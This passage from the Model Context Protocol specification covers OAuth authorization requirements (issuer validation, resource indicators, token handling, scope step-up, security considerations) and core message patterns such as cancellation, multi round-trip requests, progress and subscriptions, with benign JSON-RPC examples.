    M-->>C: MCP response
    Note over C,M: MCP communication continues with valid token

```

Authorization Response Validation

Before redirecting the user-agent, the client **MUST** record the `issuer` value from the selected authorization server's validated metadata document (see [Authorization Server Metadata Discovery](#)) and associate it with the same per-request record used to store the PKCE code verifier (and the

`state` value, if used). The validation in this section depends on that recorded value being authentic; it provides no protection if the expected issuer was obtained from an unvalidated source.

MCP authorization servers **SHOULD** include the `iss` parameter in authorization responses, including error responses, as defined in [RFC9207 Section 2](#). Authorization servers that include the `iss` parameter **MUST** advertise this by setting `authorization_response_iss_parameter_supported` to `true` in their metadata ([RFC9207 Section 2.3](#)).

On receiving the authorization response, MCP clients **MUST** apply the validation in [RFC9207 Section 2.4](#) before transmitting the authorization code to any token endpoint:

<code>authorization_response_iss_parameter_supported</code>	<code>iss</code> in response	Client action
<code>true</code>	present	Compare to the recorded issuer using simple string comparison (RFC3986 Section 6.2.1)
<code>true</code>	absent	Reject the response
<code>false</code> or absent	present	Compare to the recorded issuer using simple string comparison (RFC3986 Section 6.2.1)
<code>false</code> or absent	absent	Proceed

The third row applies the local-policy provision in [RFC9207 Section 2.4](#): this specification compares a present `iss` against the recorded issuer regardless of metadata advertisement, to accommodate authorization servers that emit `iss` before updating their metadata.

A future revision of this specification is expected to upgrade authorization server inclusion of `iss` from **SHOULD** to **MUST**. Implementers are encouraged to emit and validate `iss` now to ease that transition; client rejection behavior on `iss` absence will continue to be keyed on `authorization_response_iss_parameter_supported` until that revision defines the upgrade path.

After decoding the `iss` value from the `application/x-www-form-urlencoded` response per [RFC 9207 Section 2.4](#), clients **MUST NOT** apply scheme or host case folding, default-port elision, trailing-slash, or percent-encoding normalization ([RFC 3986 Sections 6.2.2-6.2.3](#)) before comparison.

This validation applies equally to error responses - on mismatch the client **MUST NOT** act on or display `error`, `error_description`, or `error_uri`.

Resource Parameter Implementation

MCP clients **MUST** implement Resource Indicators for OAuth 2.0 as defined in [RFC 8707](#) to explicitly specify the target resource for which the token is being requested. The `resource` parameter:

1. **MUST** be included in both authorization requests and token requests.
2. **MUST** identify the MCP server that the client intends to use the token with.
3. **MUST** use the canonical URI of the MCP server as defined in [RFC 8707 Section 2](#).

Canonical Server URI

For the purposes of this specification, the canonical URI of an MCP server is defined as the resource identifier as specified in [RFC 8707 Section 2](#) and aligns with the `resource` parameter in [RFC 9728](#).

MCP clients **SHOULD** provide the most specific URI that they can for the MCP server they intend to access, following the guidance in [RFC 8707](#). While the canonical form uses lowercase scheme and host components, implementations **SHOULD** accept uppercase scheme and host components for robustness and interoperability.

Examples of valid canonical URIs:

- `https://mcp.example.com/mcp`
- `https://mcp.example.com`
- `https://mcp.example.com:8443`
- `https://mcp.example.com/server/mcp` (when path component is necessary to identify individual MCP server)

Examples of invalid canonical URIs:

- `mcp.example.com` (missing scheme)
- `https://mcp.example.com#fragment` (contains fragment)

Note: While both `https://mcp.example.com/` (with trailing slash) and `https://mcp.example.com` (without trailing slash) are technically valid absolute URIs according to [RFC 3986](#), implementations **SHOULD** consistently use the form without the trailing slash for better interoperability unless the trailing slash is semantically significant for the specific resource.

For example, if accessing an MCP server at `https://mcp.example.com`, the authorization request would include:

```
&resource=https%3A%2F%2Fmcp.example.com
```

MCP clients **MUST** send this parameter regardless of whether authorization servers support it.

Access Token Usage

Token Requirements

Access token handling when making requests to MCP servers **MUST** conform to the requirements defined in [OAuth 2.1 Section 5 "Resource Requests"](#). Specifically:

1. MCP client **MUST** use the Authorization request header field defined in [OAuth 2.1 Section 5.1.1](#):

```
Authorization: Bearer <access-token>
```

Note that authorization **MUST** be included in every HTTP request from client to server.

2. Access tokens **MUST NOT** be included in the URI query string

Example request:

```
GET /mcp HTTP/1.1
Host: mcp.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
```

Token Handling

MCP servers, acting in their role as an OAuth 2.1 resource server, **MUST** validate access tokens as described in [OAuth 2.1 Section 5.2](#). MCP servers **MUST** validate that access tokens were issued specifically for them as the intended audience, according to [RFC 8707 Section 2](#). If validation fails, servers **MUST** respond according to [OAuth 2.1 Section 5.3](#) error handling requirements. Invalid or expired tokens **MUST** receive a HTTP 401 response.

MCP clients **MUST NOT** send tokens to the MCP server other than ones issued by the MCP server's authorization server.

MCP servers **MUST** only accept tokens that are valid for use with their own resources.

MCP servers **MUST NOT** accept or transit any other tokens.

Refresh Tokens

This section provides guidance for MCP Clients and MCP Servers when handling or issuing refresh tokens for both OAuth and OpenID Connect.

MCP Clients that desire refresh tokens:

- **MUST** keep refresh tokens confidential in transit and storage as specified in [OAuth 2.1 Section 4.3](#)
- **SHOULD** include `refresh_token` in their `grant_types` client metadata
- **MAY** add `offline_access` to the `scope` parameter of the authorization and token requests when the Authorization Server metadata contains it in `scopes_supported`
- **MUST NOT** assume refresh tokens will be issued; the AS retains discretion

MCP Servers (Protected Resources) **SHOULD NOT** include `offline_access` in `WWW-Authenticate` scope or Protected Resource Metadata `scopes_supported`, as refresh tokens are not a resource requirement.

Error Handling

Servers **MUST** return appropriate HTTP status codes for authorization errors:

Status Code	Description	Usage
401	Unauthorized	Authorization required or token invalid
403	Forbidden	Invalid scopes or insufficient permissions
400	Bad Request	Malformed authorization request

Scope Challenge Handling

This section covers handling insufficient scope errors during runtime operations when a client already has a token but needs additional permissions. This follows the error handling patterns defined in [OAuth 2.1 Section 5](#) and leverages the metadata fields from [RFC 9728 \(OAuth 2.0 Protected Resource Metadata\)](#).

Runtime Insufficient Scope Errors

When a client makes a request with an access token with insufficient scope during runtime operations, the server **SHOULD** respond with:

- `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](#))
- `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
- `error="insufficient_scope"` - indicating the specific type of authorization failure
- `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation
- `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
- `error_description` (optional) - human-readable description of the error

Server Scope Management: When responding with insufficient scope errors, servers **SHOULD** include the scopes needed to satisfy the current operation in the `scope` parameter, consistent with [RFC 6750 Section 3.1](#). The `scope` attribute describes the scopes necessary to access the requested resource — servers are not required to include the client's previously granted scopes.

Whatever scope-inclusion strategy a server adopts, servers **SHOULD** include all scopes required for the current operation in a single challenge. Challenging incrementally (returning one missing scope, then another on the subsequent retry) forces multiple authorization round-trips for a single operation and degrades user experience. The required scopes may be determined dynamically based on the specific request arguments and context, but once determined, they should be emitted together.

Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.

Servers **SHOULD** consider the user experience impact when determining which scopes to include in the response, as misconfigured scopes may require frequent user interaction.

Scope accumulation across operations is a client-side responsibility. See the [Step-Up Authorization Flow](#) for the scope-union requirement.

Example insufficient scope response:

```
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
                    scope="files:write",
                    resource_metadata="https://mcp.example.com/.well-known/oauth-protected-
resource",
                    error_description="File write permission required for this operation"
```

Step-Up Authorization Flow

Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`). Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways. Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients) **MAY** attempt the step-up authorization flow or abort the request immediately.

The flow is as follows:

1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
2. **Determine required scopes** by computing the union of the client's previously requested scope set and the scopes from the current challenge. This ensures previously granted permissions are preserved when servers emit per-operation scope challenges per [RFC 6750 Section 3.1](#). Clients **MAY** also consult the [Scope Selection Strategy](#) for initial scope selection guidance.
3. **Initiate (re-)authorization** with the determined scope set
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure

Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid repeated failures for the same resource and operation combination.

Servers **MUST** account for scope hierarchies, where a broader scope implies narrower ones, when deciding whether a token is sufficient for an operation.

Security Considerations

Implementations of this specification **MUST** follow the normative security requirements in [Security Considerations](#), covering token audience binding and validation, token theft, communication

security, authorization code protection, mix-up and confused deputy attacks, open redirection, and Client ID Metadata Document security.

MCP Authorization Extensions

There are several authorization extensions to the core protocol that define additional authorization mechanisms. These extensions are:

- **Optional** - Implementations can choose to adopt these extensions
- **Additive** - Extensions do not modify or break core protocol functionality; they add new capabilities while preserving core protocol behavior
- **Composable** - Extensions are modular and designed to work together without conflicts, allowing implementations to adopt multiple extensions simultaneously
- **Versioned independently** - Extensions follow the core MCP versioning cycle but may adopt independent versioning as needed

A list of supported extensions can be found in the [MCP Authorization Extensions](#) repository.

Authorization Security Considerations

mcp/specification/2026-07-28/basic/authorization/security-considerations.mdx

This document outlines security requirements that implementers **MUST** consider when building MCP clients and servers.

Additionally, implementors **MUST** follow OAuth 2.1 security best practices as outlined in [OAuth 2.1 Section 7. "Security Considerations"](#).

Token Audience Binding and Validation

[RFC 8707](#) Resource Indicators provide critical security benefits by binding tokens to their intended audiences **when the Authorization Server supports the capability**. To enable current and future adoption:

- MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](#) section
- MCP servers **MUST** validate that tokens presented to them were specifically issued for their use

The [Security Best Practices document](#) outlines why token audience validation is crucial and why token passthrough is explicitly forbidden.

Token Theft

Attackers who obtain tokens stored by the client, or tokens cached or logged on the server can access protected resources with requests that appear legitimate to resource servers.

Clients and servers **MUST** implement secure token storage and follow OAuth best practices, as outlined in [OAuth 2.1, Section 7.1](#).

Authorization servers **SHOULD** issue short-lived access tokens to reduce the impact of leaked tokens. For public clients, authorization servers **MUST** rotate refresh tokens as described in [OAuth 2.1 Section 4.3.1 "Token Endpoint Extension"](#).

Communication Security

Implementations **MUST** follow [OAuth 2.1 Section 1.5 "Communication Security"](#).

Specifically:

1. All authorization server endpoints **MUST** be served over HTTPS.
2. All redirect URIs **MUST** be either `localhost` or use HTTPS.

Authorization Code Protection

An attacker who has gained access to an authorization code contained in an authorization response can try to redeem the authorization code for an access token or otherwise make use of the authorization code. (Further described in [OAuth 2.1 Section 7.5](#))

To mitigate this, MCP clients **MUST** implement PKCE according to [OAuth 2.1 Section 7.5.2](#) and **MUST** verify PKCE support before proceeding with authorization. PKCE helps prevent authorization code interception and injection attacks by requiring clients to create a secret verifier-challenge pair, ensuring that only the original requestor can exchange an authorization code for tokens.

MCP clients **MUST** use the `s256` code challenge method when technically capable, as required by [OAuth 2.1 Section 4.1.1](#).

Since OAuth 2.1 and PKCE specifications do not define a mechanism for clients to discover PKCE support, MCP clients **MUST** rely on authorization server metadata to verify this capability:

- **OAuth 2.0 Authorization Server Metadata:** If `code_challenge_methods_supported` is absent, the authorization server does not support PKCE and MCP clients **MUST** refuse to proceed.
- **OpenID Connect Discovery 1.0:** While the [OpenID Provider Metadata](#) does not define `code_challenge_methods_supported`, this field is commonly included by OpenID providers. MCP clients **MUST** verify the presence of `code_challenge_methods_supported` in the provider metadata response. If the field is absent, MCP clients **MUST** refuse to proceed.

Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `code_challenge_methods_supported` in their metadata to ensure MCP compatibility.

Mix-Up Attacks

An attacker that controls one of the authorization servers an MCP client interacts with may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](#)). [Authorization Response Validation](#) specifies the required mitigation.

Open Redirection

An attacker may craft malicious redirect URIs to direct users to phishing sites.

MCP clients **MUST** have redirect URIs registered with the authorization server.

Authorization servers **MUST** validate exact redirect URIs against pre-registered values to prevent redirection attacks.

MCP clients **SHOULD** use and verify state parameters in the authorization code flow and discard any results that do not include or have a mismatch with the original state.

Authorization servers **MUST** take precautions to prevent redirecting user agents to untrusted URI's, following suggestions laid out in [OAuth 2.1 Section 7.12.2](#)

Authorization servers **SHOULD** only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision.

Client ID Metadata Document Security

When implementing [Client ID Metadata Documents](#), authorization servers **MUST** consider the security implications detailed in [OAuth Client ID Metadata Document, Section 6](#). Key considerations include:

Authorization Server Abuse Protection

Authorization servers fetching metadata documents **SHOULD** consider [Server-Side Request Forgery \(SSRF\)](#) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery \(SSRF\) Attacks](#).

Localhost Redirect URI Risks

Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves.

Authorization servers:

- **SHOULD** display additional warnings for `localhost`-only redirect URIs
- **MAY** require additional attestation mechanisms for enhanced security
- **MUST** clearly display the redirect URI hostname during authorization

Trust Policies

Authorization servers **MAY** implement domain-based trust policies for accepting Client ID Metadata Documents, as described in [Section 6.4](#) and [Section 6.8](#) of the Client ID Metadata Document specification.

Confused Deputy Problem

Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](#). By using stolen authorization codes, they can obtain access tokens without user consent.

MCP proxy servers using static client IDs **MUST** obtain user consent for each [dynamically registered client](#) before forwarding to third-party authorization servers (which may require additional consent).

Access Token Privilege Restriction

An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources.

MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties.

A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](#) to validate inbound tokens.

MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](#) for details.

If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client.

MCP clients **MUST** implement and use the `resource` parameter as defined in [RFC 8707 - Resource Indicators for OAuth 2.0](#) to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in [RFC 9728 Section 7.4](#). This ensures that access tokens are bound to their intended resources and cannot be misused across different services.

**mcp / specification/2026-07-
28/basic/patterns**

Cancellation

mcp/specification/2026-07-28/basic/patterns/cancellation.mdx

The Model Context Protocol (MCP) supports optional cancellation of in-progress requests through notification messages. A client **SHOULD** send a cancellation notification to indicate that a request it previously issued should be terminated.

A server **MUST** send `notifications/cancelled` referencing a `subscriptions/listen` request ID when it tears down that subscription stream (see [Subscriptions](#)). Servers **MUST NOT** send `notifications/cancelled` for any other purpose.

Cancellation Flow

When a client wants to cancel an in-progress request, it sends a `notifications/cancelled` notification containing:

- The ID of the request to cancel
- An optional reason string that can be logged or displayed

```
{
  "jsonrpc": "2.0",
  "method": "notifications/cancelled",
  "params": {
    "requestId": "123",
    "reason": "User requested cancellation"
  }
}
```

Transport-Specific Cancellation

How a client signals cancellation depends on the transport:

- **Streamable HTTP**: Closing the SSE response stream is the cancellation signal. The server **MUST** treat a client disconnect as cancellation of that request. No `notifications/cancelled` message is required or expected.
- **stdio**: There is no per-request stream to close. The client **MUST** send a `notifications/cancelled` notification referencing the request ID.

Timeouts

Implementations **SHOULD** establish timeouts for all sent requests, to prevent hung connections and resource exhaustion. When the request has not received a success or error response within the

timeout period, the sender **SHOULD** cancel the request and stop waiting for a response. As described in [Transport-Specific Cancellation](#), this means:

- **Streamable HTTP**: closing the response stream for the request, which constitutes cancellation.
- **stdio**: sending a `notifications/cancelled` notification referencing the request ID.

SDKs and other middleware **SHOULD** allow these timeouts to be configured on a per-request basis.

Implementations **MAY** choose to reset the timeout clock when receiving a [progress notification](#) corresponding to the request, as this implies that work is actually happening. However, implementations **SHOULD** always enforce a maximum timeout, regardless of progress notifications, to limit the impact of a misbehaving client or server.

Behavior Requirements

1. Cancellation notifications **MUST** only reference requests that: - Were previously issued by the client - Are believed to still be in-progress
2. Server-sent cancellation notifications **MUST** reference a `subscriptions/listen` request, to terminate that subscription stream
3. Servers receiving cancellation notifications **SHOULD**: - Stop processing the cancelled request - Free associated resources - Not send a response for the cancelled request
4. Servers **MAY** ignore cancellation notifications if: - The referenced request is unknown - Processing has already completed - The request cannot be cancelled
5. The client **SHOULD** ignore any response to the cancelled request that arrives afterward

Timing Considerations

Due to network latency, cancellation notifications may arrive after request processing has completed, and potentially after a response has already been sent.

Both parties **MUST** handle these race conditions gracefully:

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: Request (ID: 123)
    Note over Server: Processing starts
    Client-->>Server: notifications/cancelled (ID: 123)
    alt
        Note over Server: Processing may have<br/>completed before<br/>cancellation arrives
    else If not completed
        Note over Server: Stop processing
    end
    end
```


Implementation Notes

- Both parties **SHOULD** log cancellation reasons for debugging
- Application UIs **SHOULD** indicate when cancellation is requested

Error Handling

Invalid cancellation notifications **SHOULD** be ignored:

- Unknown request IDs
- Already completed requests
- Malformed notifications

This maintains the "fire and forget" nature of notifications while allowing for race conditions in asynchronous communication.

Overview

mcp/specification/2026-07-28/basic/patterns/index.mdx

This page defines the message patterns of the core protocol: the ways a client and server compose JSON-RPC [requests, responses, and notifications](#) into interactions. Every [transport](#) carries all of these patterns; transports differ only in how messages are framed and delivered.

Every interaction begins with the client:

- The **client** sends JSON-RPC *requests* and *notifications*.
- The **server** answers each request with a JSON-RPC *response* (a result or error), optionally preceded by *notifications* scoped to that request.

Servers **MUST NOT** initiate JSON-RPC requests, and clients do not send JSON-RPC responses.

Request and Response

The client sends a request; the server answers it with a result or an error. While the request is in flight, the server **MAY** send notifications scoped to it, such as [notifications/progress](#) and [notifications/message](#).

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: request
    Server-->>Client: notifications/progress (optional)
    Server-->>Client: response
```

Multi Round-Trip Requests

When a server needs client input (sampling, elicitation, or roots) to complete a request, it answers with an [InputRequiredResult](#) and the client retries the request with the matching `inputResponses`. See [Multi Round-Trip Requests](#).

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: request (id: 1)
    Server-->>Client: InputRequiredResult (inputRequests)
    Client->>Server: request (id: 2, original params + inputResponses)
    Server-->>Client: response
```

Subscribe and Notify

To receive change notifications (list changes, resource updates), the client sends a [subscriptions/listen](#) request; the reply is a long-lived stream of the requested notification types. Stream state is scoped to the request: if the underlying channel is lost, the client re-issues the request.

```
sequenceDiagram
    participant Client
    participant Server

    Client->>Server: subscriptions/listen
    Server-->>Client: notifications/subscriptions/acknowledged
    note over Client,Server: Stream stays open
    Server-->>Client: notifications/* (tagged with subscriptionId)
```

Adding Patterns

All core protocol features are built from these patterns. A protocol revision that adds a pattern defines it on this page. Transports carry new patterns without changes, because patterns are expressed entirely in terms of requests, responses, and notifications.

Multi Round-Trip Requests

mcp/specification/2026-07-28/basic/patterns/mrtr.mdx

참고

Multi Round-Trip Requests (MRTR) was introduced in this version of the MCP specification. This replaces the previous approach of sending server-initiated requests. Servers **MUST** send server-to-client requests (such as `roots/list`, `sampling/createMessage`, or `elicitation/create`) using the MRTR pattern. The previous pattern of server-initiated requests is no longer supported. This is a breaking change.

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

Multi Round-Trip Requests

The Model Context Protocol (MCP) defines several ways for servers to request additional information from users during the processing of client requests (such as `roots/list`, `sampling/createMessage`, or `elicitation/create`). The **multi round-trip requests** pattern provides a standardized way to handle these server-requests without requiring a shared storage layer across server instances or requiring stateful load balancing.

The high level flow functions as follows:

1. Client sends an initial request to the server with the parameters needed to perform the operation.
2. Server determines that additional information is required to fulfill the request and responds requesting more information.
3. Client gathers the requested information from the user or other sources, then retries the original request including the additional requested information.
4. Server determines it has sufficient information to complete the operation, and responds with the final result.

```
sequenceDiagram
    participant C as Client
    participant S as Server
    C->>S: client request (id: 1, request params)
    note over S: Server needs more info <br/> to process request.
```

S-->>C: Request for additional input.

note over C: Client gathers input and
 retries initial request.

C->>S: client request (id: 2, request params, requested input)

note over S: Server has enough information
 to complete the request.

S-->>C: Result (id: 2, result)

Core Types

This flow is implemented in MCP using the following Types.

InputRequests

An [InputRequests](#) object is a map of server-client requests. Keys are server-assigned string identifiers; values are request objects (e.g., [ElicitRequest](#), [CreateMessageRequest](#), or [ListRootsRequest](#)).

```
{
  "github_login": {
    "method": "elicitation/create",
    "params": {
      "mode": "form",
      "message": "Please provide your GitHub username",
      "requestedSchema": {
        "type": "object",
        "properties": {
          "name": { "type": "string" }
        },
        "required": ["name"]
      }
    }
  },
  "capital_of_france": {
    "method": "sampling/createMessage",
    "params": {
      "messages": [
        {
          "role": "user",
          "content": {
            "type": "text",
            "text": "What is the capital of France?"
          }
        }
      ],
      "systemPrompt": "You are a helpful assistant.",
      "maxTokens": 100
    }
  }
}
```

```
}  
}
```

InputResponses

An [InputResponses](#) object is a map of client responses to the server requests. Keys correspond to the keys in the [InputRequests](#) map; values are the client's result for each request (e.g., [ElicitResult](#), [CreateMessageResult](#), or [ListRootsResult](#)).

```
{  
  "github_login": {  
    "action": "accept",  
    "content": {  
      "name": "octocat"  
    }  
  },  
  "capital_of_france": {  
    "role": "assistant",  
    "content": {  
      "type": "text",  
      "text": "The capital of France is Paris."  
    }  
  },  
  "model": "claude-3-sonnet-20240307",  
  "stopReason": "endTurn"  
}
```

InputRequiredResult

An [InputRequiredResult](#) is a type of [Result](#), indicating that additional input is needed before the request can be completed.

- `inputRequests` (*optional*): An [InputRequests](#) map of server-initiated requests that the client must fulfill.
- `requestState` (*optional*): An opaque string meaningful only to the server. Clients **MUST NOT** inspect, parse, modify, or make any assumptions about its contents.

```
{  
  "jsonrpc": "2.0",  
  "id": 1,  
  "result": {  
    "resultType": "input_required",  
    "inputRequests": {  
      // Elicitation request.  
      "github_login": {  
        "method": "elicitation/create",  
        "params": {  
          "mode": "form",  

```

```

    "message": "Please provide your GitHub username",
    "requestedSchema": {
      "type": "object",
      "properties": {
        "name": { "type": "string" }
      },
      "required": ["name"]
    }
  },
  // Sampling request.
  "capital_of_france": {
    "method": "sampling/createMessage",
    "params": {
      "messages": [
        {
          "role": "user",
          "content": {
            "type": "text",
            "text": "What is the capital of France?"
          }
        }
      ],
      "modelPreferences": {
        "hints": [{ "name": "claude-3-sonnet" }],
        "intelligencePriority": 0.8,
        "speedPriority": 0.5
      },
      "systemPrompt": "You are a helpful assistant.",
      "maxTokens": 100
    }
  }
},
"requestState": "AEAD-protected blob"
}
}

```

Supported Requests

Servers **MAY** send `InputRequiredResult` responses on the following client requests:

Client Request	Supports InputRequiredResult
prompts/get	Yes
resources/read	Yes
tools/call	Yes

Servers **MUST NOT** send `InputRequiredResult` responses on any other client requests.

Basic Workflow

The basic workflow describes how a server can request additional input from the client as part of a client-server request. In this example we use `tools/call` as the client request, but the same pattern applies to any of the supported requests listed above.

Notably, it allows servers to request additional information without maintaining any server-side state. The server encodes any needed context into the `requestState` field, which the client echoes back on retry.

```
sequenceDiagram
    participant U as User
    participant C as Client
    participant S as Server
    C->>S: tools/call (id: 1)
    note over S: Server needs more info via Elicitation
    S-->>C: InputRequiredResult (id: 1, ElicitRequest, requestState)
    note over C,S: Initial Request Terminated

    C->>U: Prompts user for input
    U-->>C: Provides responses

    note over C: Client retries tool call <br/> with inputResponses and requestState
    C->>S: tools/call (id: 2, ElicitResult, requestState)
    note over S: Server reconstitutes state<br/>Completes execution
    S-->>C: Result (id: 2, ToolCallResult)
```

Note that the requests in each step are completely independent: the server processing the retry does not need any information beyond what is directly present in the retry request.

Server Requirements (Basic Workflow)

1. Servers **MAY** respond to any [supported client request](#) with an `InputRequiredResult`.
2. The `InputRequiredResult` **MAY** include an `inputRequests` field. - `inputRequests` keys are server assigned identifiers and **MUST** be unique within the scope of the request. - `inputRequests` values are request objects that **MUST** be one of [ElicitRequest](#), [CreateMessageRequest](#), or [ListRootsRequest](#)
3. The `InputRequiredResult` **MAY** include a `requestState` field. If specified, this field is an opaque string meaningful only to the server. Servers are free to encode the state in any format (e.g. base64-encoded JSON, encrypted JWT, serialized binary).
4. If a client request contains a `requestState` field, servers **MUST** treat `requestState` as an attacker-controlled input. If `requestState` influences authorization, resource access, or business logic, servers **MUST** protect its integrity (e.g. HMAC or AEAD) and **MUST** reject state

that fails verification. Integrity protection **MAY** be omitted only when tampering can cause nothing worse than request failure.

5. To prevent replay, servers **SHOULD** include the following inside the integrity-protected `requestState` payload and verify each on receipt: - the authenticated principal, rejecting state presented by a different principal. - a short expiry (TTL), rejecting state presented after it lapses; - an identifier for the originating request, e.g. the method name and a digest of its salient parameters, rejecting state presented on a request that does not match.

주의

Note that these measures bound the replay window and prevent cross-user and cross-request reuse, but do not by themselves guarantee single-use. Servers for which a given `requestState` must be consumed at most once (e.g., one-time redemptions) **MUST** enforce that invariant server-side.

1. Servers **MUST** include at least one of `inputRequests` or `requestState` in every `InputRequiredResult` response.
2. Servers **MUST NOT** send an `inputRequests` that the client has not declared support for in its capabilities. For example, if a client does not declare support for `elicitation`, the server **MUST NOT** include any `elicitation/create` requests in the `inputRequests` field.
3. Servers **MUST NOT** assume that clients will fulfill the `inputRequests` or retry the original request. Servers **MAY** choose to return an `InputRequiredResult` on multiple attempts at the same request if they want to repeatedly prompt the user for information until they have what they need to complete the request.

Client Requirements (Basic Workflow)

1. If a client receives an `InputRequiredResult` that contains the `inputRequests` field, the client **MUST** construct the requested inputs before retrying the original request. If the `InputRequiredResult` does *not* contain the `inputRequests` field, the client **MAY** retry the original request immediately.
2. If an `InputRequiredResult` contains the `requestState` field, the client **MUST** echo back the exact value of that field when retrying the original request. Clients **MUST NOT** inspect, parse, modify, or make any assumptions about the `requestState` contents. If the `InputRequiredResult` does not contain a `requestState` field, the client **MUST NOT** include one in the retry.
3. The JSON-RPC `id` **MUST** be different between the initial request and the retry, as they are independent requests.
4. Both the `inputRequests` and `requestState` fields affect only the client's retry of the original request. They **MUST NOT** be used for any other request that the client may be sending in parallel.

Error Handling

Servers **SHOULD** validate that the data provided by the client is a valid `InputResponses` object and that the information inside can be correctly parsed. Protocol errors (malformed JSON, invalid schema, internal server errors) **SHOULD** return a JSON-RPC error response with an appropriate error code and message.

If additional, unexpected parameters are provided in the `InputResponses` object, the server **SHOULD** ignore any information it does not recognize or need.

If the client fails to send all the information requested in a previous `InputRequests`, and the missing information is necessary for the server to process the request, the server **SHOULD** respond with a new `InputRequiredResult` requesting the missing information again, rather than returning an error.

Security Considerations

Because `requestState` passes through the client, malicious or compromised clients could attempt to modify it to alter server behavior, bypass authorization checks, or corrupt server logic. Servers **MUST** validate request state as described in the [server requirements](#) above.

Progress

mcp/specification/2026-07-28/basic/patterns/progress.mdx

The Model Context Protocol (MCP) supports optional progress tracking for long-running operations through notification messages. The server **MAY** send progress notifications to report the status of requests the client has issued.

Progress Flow

When a client wants to *receive* progress updates for a request, it includes a `progressToken` in the request metadata.

- Progress tokens **MUST** be a string or integer value
- Progress tokens can be chosen by the client using any means, but **MUST** be unique across all active requests.

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "some_method",
  "params": {
    "_meta": {
      "progressToken": "abc123"
    }
  }
}
```

The server **MAY** then send progress notifications containing:

- The original progress token
- The current progress value so far
- An optional "total" value
- An optional "message" value

```
{
  "jsonrpc": "2.0",
  "method": "notifications/progress",
  "params": {
    "progressToken": "abc123",
    "progress": 50,
    "total": 100,
    "message": "Reticulating splines..."
  }
}
```

- The `progress` value **MUST** increase with each notification, even if the total is unknown.
- The `progress` and the `total` values **MAY** be floating point.
- The `message` field **SHOULD** provide relevant human readable progress information.

Behavior Requirements

1. Progress notifications **MUST** only reference tokens that:
 - Were provided in an active request
 - Are associated with an in-progress operation
2. Servers receiving a request with a progress token **MAY**:
 - Choose not to send any progress notifications
 - Send notifications at whatever frequency they deem appropriate
 - Omit the total value if unknown

```
sequenceDiagram
    participant Client
    participant Server

    Note over Client,Server: Request with progress token
    Client->>Server: Method request with progressToken

    Note over Client,Server: Progress updates
    Server-->>Client: Progress notification (0.2/1.0)
    Server-->>Client: Progress notification (0.6/1.0)
    Server-->>Client: Progress notification (1.0/1.0)

    Note over Client,Server: Operation complete
    Server->>Client: Method response
```

Implementation Notes

- Clients and servers **SHOULD** track active progress tokens
- Both parties **SHOULD** implement rate limiting to prevent flooding
- Progress notifications **MUST** stop after completion

Subscriptions

mcp/specification/2026-07-28/basic/patterns/subscriptions.mdx

`subscriptions/listen` opens a long-lived notification stream from the server to the client. Unlike one-off requests, the stream stays open and delivers notifications until the client cancels it. It replaces the former `resources/subscribe` RPC and the HTTP GET endpoint.

Opening a Stream

The client sends a `subscriptions/listen` request with a `notifications` filter specifying which event types it wants to receive. The server **MUST NOT** send notification types the client has not explicitly requested.

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "subscriptions/listen",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/protocolVersion": "2026-07-28",
      "io.modelcontextprotocol/clientInfo": {
        "name": "ExampleClient",
        "version": "1.0.0"
      },
      "io.modelcontextprotocol/clientCapabilities": {}
    },
    "notifications": {
      "toolsListChanged": true,
      "resourceSubscriptions": ["file:///project/config.json"]
    }
  }
}
```

Notification Filter

Field	Type	Description
<code>toolsListChanged</code>	<code>boolean</code>	Receive <code>notifications/tools/list_changed</code> when tools change
<code>promptsListChanged</code>	<code>boolean</code>	Receive <code>notifications/prompts/list_changed</code> when prompts change
<code>resourcesListChanged</code>	<code>boolean</code>	Receive <code>notifications/resources/list_changed</code> when list changes
<code>resourceSubscription</code> <code>s</code>	<code>string[</code> <code>]</code>	Receive <code>notifications/resources/updated</code> for these resource URIs

All fields are optional. Omitting a field is equivalent to not subscribing to that notification type.

Acknowledgment

